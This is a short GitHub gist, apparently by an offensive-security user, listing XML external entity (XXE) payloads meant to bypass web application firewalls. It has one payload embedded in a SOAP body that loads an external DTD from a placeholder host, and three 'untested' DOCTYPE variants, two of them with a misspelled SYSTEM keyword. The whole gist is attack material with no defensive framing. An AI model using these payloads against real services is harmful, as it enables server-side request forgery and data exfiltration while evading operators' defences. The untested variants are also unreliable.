Skip to content

Instantly share code, notes, and snippets.

@nani1337

nani1337/xxe waf bypass

Created April 3, 2019 06:19
Show Gist options
  • Save nani1337/c8baa3a9d178cea079a5eded59c3ef75 to your computer and use it in GitHub Desktop.
Save nani1337/c8baa3a9d178cea079a5eded59c3ef75 to your computer and use it in GitHub Desktop.
Download ZIP
Raw
xxe waf bypass
---------------------------
Inside SOAP body
---------------------------
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
---------------------------
Untested - WAF Bypass
---------------------------
<!DOCTYPE :. SYTEM "http://"
<!DOCTYPE :_-_: SYTEM "http://"
<!DOCTYPE {0xdfbf} SYSTEM "http://"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment